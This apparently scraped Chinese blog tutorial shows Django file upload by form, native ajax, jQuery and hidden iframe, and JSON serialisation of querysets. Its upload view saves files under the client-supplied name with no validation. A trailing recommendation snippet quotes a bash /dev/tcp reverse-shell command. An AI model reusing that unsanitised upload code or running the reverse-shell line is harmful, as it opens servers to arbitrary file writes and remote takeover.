django实现文件上传

使用form表单上传文件

  • html页面
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
.img {
width: 300px;
height: 300px;
}
</style>
</head>
<body>
<form id="myform" method="POST" action="/upload/" enctype="multipart/form-data">
<input type="text" name="byd" id="byd" placeholder="请输入字符串"> <input type="file" name="img" id="img" value="手动点击上传图片">
<input type="submit" name="提交">
</form>
</body>
</html>
  • django view配置
import os
import time
import json stat = {'status':False,'data':None,'msg':None}
def upload(request):
if request.method == 'POST':
try:
user = request.POST.get('byd')
img = request.FILES.get('img')
img_path = os.path.join('static',img.name)
f = open(img_path,'wb')
for chunk in img.chunks():
f.write(chunk)
f.close()
stat['status'] = True
stat['data'] = img_path
except Exception as e:
stat['msg'] = str(e)
finally:
return HttpResponse(json.dumps(stat))
else:
return render(request,'upload.html')

涉及的知识:

  • 1) 表单上传的文件对象存储在类字典对象request.FILES中,表单格式需为multipart/form-data
  • 2)request.FILES中的键来自于表单中的<input type="file" name="" />的name值:
  • 3)request.FILES中的值均为UploadedFile类文件对象。

UploadedFile

UploadedFile是类文件对象,具有以下方法和属性:

UploadedFile.read()

读取整个上传文件的数据,文件较大时慎用。

UploadedFile.multiple_chunks(chunk_size=None)

判断文件是否足够大,一般为2.5M

UploadedFile.chunks(chunk_size=None)

返回一个生成器对象,当multiple_chunks()为True时应该使用这个方法来代替read().

UploadedFile.name

上传文件的name。

UploadedFile.size

上传文件的大小。

UploadedFile.content_type

上传文件时的content_type报头,例如(e.g. text/plain or application/pdf). 

UpladedFile.charset

编码
  • 4) 存储上传的数据。注意上传的是二进制文件,所以需使用wb模式打开文件
f = open(img_path,'wb')
for chunk in img.chunks():
f.write(chunk)
f.close()

使用django自带的Form处理上传文件

form表单

from django import forms
class UploadFileForm(forms.Form):
title = forms.CharField(max_length=50)
file = forms.FileField()

view函数

from django.http import HttpResponseRedirect
from django.shortcuts import render_to_response
from somewhere import handle_uploader_file
def upload_file(request):
if request.method == 'POST':
form = UploadFileForm(request.POST, request.FILES)
if form.is_valid():
handle_uploaded_file(request.FILES['file'])
return HttpResponseRedirect('/success/url')
else:
form = UploadFileForm()
return render_to_response('upload.html', {'form': form})

使用html的form表单上传,当提交文件之后,本页面会刷新,如果要实现上传文件页面不刷新,需要使用强大的ajax

使用ajax上传文件

我们平时使用jquery的ajax方法做post上传,其实是调用了ajax原生的XMLHttpRequest来发送请求。原生的ajax 上传文件涉及到两个对象FormData和XMLHttpRequest,具体参数请点击这里:http://www.cnblogs.com/pycode/p/django02.html

原生ajax http请求

  • html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
{{ crruent_time }}
<input type="button" value="XMLHttpRequest按钮" onclick="XhrAjax();"/>
<input type="button" value="XMLHttpRequest,FormData按钮" onclick="XhrAjaxForm();"/>
<script>
function XhrAjax(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
// 只有服务器端返回数据时,处理请求
if(xhr.readyState == 4){
// 服务器端响应的内容已经接受完毕
console.log(xhr.responseText);
}
};
// GET请求
//xhr.open('GET', '/xhr_ajax?p=123');
//xhr.send();
// POST请求
xhr.open('POST', '/xhr_ajax/');
// 设置请求头
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset-UTF-8');
xhr.send("k1=v1;k2=v2");
}
function XhrAjaxForm(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
// 只有服务器端返回数据时,处理请求
if(xhr.readyState == 4){
// 服务器端响应的内容已经接受完毕
console.log(xhr.responseText);
}
};
// GET请求
//xhr.open('GET', '/xhr_ajax?p=123');
//xhr.send();
// POST请求
xhr.open('POST', '/xhr_ajax/');
// 设置请求头
// xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset-UTF-8');
var form = new FormData();
form.append('user', 'alex');
form.append('pwd', '');
xhr.send(form);
}
</script>
</body>
</html>
  • view视图
def ajax(request):
current_time = time.time()
return render(request,'ajax.html',{'current_time':current_time})
def xhr_ajax(request):
print(request.POST)
print(request.GET)
return HttpResponse('ok')

原生ajax的XmlHttpRequest相关方法:

a. void open(String method,String url,Boolen async)
用于创建请求 参数:
method: 请求方式(字符串类型),如:POST、GET、DELETE...
url: 要请求的地址(字符串类型)
async: 是否异步(布尔类型) b. void send(String body)
用于发送请求 参数:
body: 要发送的数据(字符串类型) c. void setRequestHeader(String header,String value)
用于设置请求头 参数:
header: 请求头的key(字符串类型)
vlaue: 请求头的value(字符串类型) d. String getAllResponseHeaders()
获取所有响应头 返回值:
响应头数据(字符串类型) e. String getResponseHeader(String header)
获取响应头中指定header的值 参数:
header: 响应头的key(字符串类型) 返回值:
响应头中指定的header对应的值 f. void abort() 终止请求

原生ajax的XmlHttpRequest对象的主要属性:

a. Number readyState
状态值(整数) 详细:
0-未初始化,尚未调用open()方法;
1-启动,调用了open()方法,未调用send()方法;
2-发送,已经调用了send()方法,未接收到响应;
3-接收,已经接收到部分响应数据;
4-完成,已经接收到全部响应数据; b. Function onreadystatechange
当readyState的值改变时自动触发执行其对应的函数(回调函数) c. String responseText
服务器返回的数据(字符串类型) d. XmlDocument responseXML
服务器返回的数据(Xml对象) e. Number states
状态码(整数),如:200、404... f. String statesText
状态文本(字符串),如:OK、NotFound...

使用原生ajax 上传文件

  • html
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form id="myform">
<input type="text" name="byd" id="byd" placeholder="请输入字符串">
<input type="file" name="img" id="img" value="手动点击上传图片">
</form>
<a href="javascript:void(0)" style="margin:20px 0 0 20px;background-color: #2aabd2;color: white;display: inline-block;" onclick="ajax_upload();">Ajax原生上传</a>
</body>
</html>
  • js
function ajax_upload() {
var form = new FormData();
var xhr = new XMLHttpRequest();
var fileobj = document.getElementById('img').files[0];
form.append('byd',document.getElementById('byd').value);
form.append('img',fileobj);
xhr.onreadystatechange = function(){
// 只有服务器端返回数据时,处理请求
if(xhr.readyState == 4){
// 服务器端响应的内容已经接受完毕
console.log(xhr.responseText);
}
};
xhr.open('POST', '/upload/');
xhr.send(form); }
  • view实图 同html form

使用jquery上传文件

  • html文件
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form id="myform">
<input type="text" name="byd" id="byd" placeholder="请输入字符串">
<input type="file" name="img" id="img" value="手动点击上传图片">
</form>
<a href="javascript:void(0)" style="margin:20px 0 0 20px;background-color: #2aabd2;color: white;display: inline-block;" onclick="jquery_upload();">jquery上传</a>
</body>
</html>
  • js文件
function jquery_upload() {
//jquery和dom对象互相转换
//jquery --> dom jqueryobj[0]
// dom--->jquery $(domobj)
var fileobj = $('#img')[0].files[0]; //先将jquery对象转换为dom对象
var form = new FormData();
form.append('byd',$('#byd').val());
form.append('img',fileobj);
$.ajax({
url:'/upload/',
type:'POST',
data:form,
processData:false, //设置不对数据进行自处理,默认jquery会对上传的数据进行处理
contentType:false, //设置不添加请求头的内容类型
success:function (arg) {
alert(arg)
} })
}
  • view实图 同html form

利用iframe使用伪ajax请求

不论是jquey或原生ajax,对以前的浏览器版本(ie6)以前是不兼容的,所以,如果要兼容以前的浏览器,可以使用iframe伪造ajax请求来进行文件上传

  • html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
.img {
width: 300px;
height: 300px;
}
</style>
</head>
<body>
<iframe name="myiframe" id="myiframe" style="display: none;"></iframe>
<form id="myform" method="POST" action="/upload/" enctype="multipart/form-data" target="myiframe">
<input type="text" name="byd" id="byd" placeholder="请输入字符串">
<input type="file" name="img" id="img" value="手动点击上传图片">
<input type="file" name="img" id="img2" value="自动上传图片" onchange="iframe_upload()">
<input type="submit" name="提交">
</form>
<a href="javascript:void(0)" style="margin:20px 0 0 20px;background-color:peru;color: white;display: inline-block;" onclick="iframe_upload();">Iframe上传</a> </body>
</html>
  • js
function iframe_upload() {
$('#content_img').find('img').remove();
document.getElementById('myiframe').onload = callback;
document.getElementById('myform').target = "myiframe";
document.getElementById('myform').submit(); }
function callback() {
var text = $('#myiframe').contents().find('body').text();
var resault = JSON.parse(text);
if (resault.status) {
var tag = document.createElement('img');
tag.className = 'img';
tag.src = "/" + resault.data;
$('#content_img').append(tag);
} else {
alert(resault.msg)
} }

注意:
1、需要设置iframe的name值与form的target属性值一样,意思就是把form表单上传文件的刷新转嫁到iframe里去了;

2、form表单的enctype属性值必须设置成multipart/form-data,将文件转换成文件流供后端接收;

django models对象queryset序列化

关于Django中的序列化主要应用在将数据库中检索的数据返回给客户端用户,特别的Ajax请求一般返回的为Json格式。

  • serializers
from django.core import serializers

ret = models.BookType.objects.all()

data = serializers.serialize("json", ret)
  • json.dumps
import json

#ret = models.BookType.objects.all().values('caption')
ret = models.BookType.objects.all().values_list('caption') ret=list(ret) result = json.dumps(ret)

由于json.dumps时无法处理datetime日期,所以可以通过自定义处理器来做扩展,如:

import json
from datetime import date
from datetime import datetime class JsonCustomEncoder(json.JSONEncoder): def default(self, field): if isinstance(field, datetime):
return field.strftime('%Y-%m-%d %H:%M:%S')
elif isinstance(field, date):
return field.strftime('%Y-%m-%d')
else:
return json.JSONEncoder.default(self, field) ds = json.dumps(d, cls=JsonCustomEncoder)

django文件上传和序列化的更多相关文章

  1. Django文件上传下载与富文本编辑框

    django文件上传下载 上传 配置settings.py # 设定文件的访问路径,如:访问http://127.0.0.1:8000/media/就可以获取文件 MEDIA_URL = '/medi ...

  2. python_way day21 Django文件上传Form方式提交,原生Ajax提交字符处啊,Django文件上传之原生Ajax方式、jQuery Ajax方式、iframe方式,Django验证码,抽屉示例,

    python_way day21 1.Django文件上传至Form方式 2.原生Ajax文件上传提交表单 使用原生Ajax好处:不依赖jquery,在发送一个很小的文件或者字符串的时候就可以用原生A ...

  3. django文件上传、图片验证码、抽屉数据库设计

    1.Django文件上传之Form方式 settings.py, ALLOWED_HOSTS = ['*'] INSTALLED_APPS = [ 'django.contrib.admin', 'd ...

  4. Django - 文件上传、Django组件 - 分页器(paginator)

    一.文件上传准备知识 - Content-Type 1.请求头 - Content-Type Content-Type指的是请求体的编码类型,常见的类型共有3种: 1)application/x-ww ...

  5. django文件上传

    -------------------上传图片-------------------1.model中定义属性类型为models.ImageField类型 pic=models.ImageField(u ...

  6. Python Web框架篇:Django文件上传

    上传方式: - Form表单上传文件 - Ajax上传文件 - 基于form表单和iframe自己实现ajax请求 1,创建项目 2,settings配置(注册app01,static路径等等这些)及 ...

  7. Django文件上传(经典上传方式)

    经典文件上传方式 创建URL from django.contrib import admin from django.urls import path from django.conf.urls i ...

  8. django——文件上传_分页_ajax_富文本_celery

    上传文件 概述 当Django在处理文件上传时,文件的数据被存储在request.FILES属性中 FILES只有在请求的方法为POST且提交的form表单带有enctype="multip ...

  9. django 文件上传(阿里云oss)下载(支持大文件下载)

    1.文件上传 Models 设计 class Upload_File(models.Model): image = models.FileField(upload_to='file/%Y/%m',de ...

随机推荐

  1. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  2. Activity的释放

    1.ActivityTwo.finish(); 在你的activity动作完成的时候,或者Activity需要关闭的时候,调用此方法.当你调用此方法的时候,系统只是将最上面的Activity移出了栈, ...

  3. 纯Swift编写的仿“随遇”应用源码

    纯Swift编写的仿“随遇”App概述 此项目是为了巩固Swift掌握而编写的,素材均来自“随遇”官方App 用Storyboard+Xib+Autolayout的方式来实现UI部分 由于项目不复杂, ...

  4. Extjs5 tabs实例

    <%@ page language= "java" contentType ="text/html; charset=UTF-8"     pageEnc ...

  5. GitLab CI持续集成配置方案

    目录 1. 持续集成介绍 1.1 概念 1.2 持续集成的好处 2. GitLab持续集成(CI) 2.1 简介 2.2 GitLab简单原理图 2.3 GitLab持续集成所需环境 2.4 需要了解 ...

  6. 读《C#高级编程》第1章问题

    读<C#高级编程>第1章 .Net机构体系笔记 网红的话:爸爸说我将来会是一个牛逼的程序员,因为我有一个梦,虽然脑壳笨但是做事情很能坚持. 本章主要是了解.Net的结构,都是一些概念,并没 ...

  7. Windows Server 2012 虚拟化实战:网络(一)

    虚拟化对于计算的抽象,大家可能相对熟悉,也许都有在单机使用诸如Virtual PC或者Virtual Box的经验.使用的这些虚拟化软件的第一印象就是我们的CPU可以同时运行多套不同的操作系统,并且其 ...

  8. Ubuntu15.04安装不完全指南

    0x00. 烧盘 使用UltraISO(破解版)烧录到U盘里,设置电脑从U盘启动,即可安装. 安装时可能出现not COM32R image的命令行,“boot:” 后面直接输入live即可解决问题. ...

  9. codeforces 597C C. Subsequences(dp+树状数组)

    题目链接: C. Subsequences time limit per test 1 second memory limit per test 256 megabytes input standar ...

  10. java基础学习03(java基础程序设计)

    java基础程序设计 一.完成的目标 1. 掌握java中的数据类型划分 2. 8种基本数据类型的使用及数据类型转换 3. 位运算.运算符.表达式 4. 判断.循环语句的使用 5. break和con ...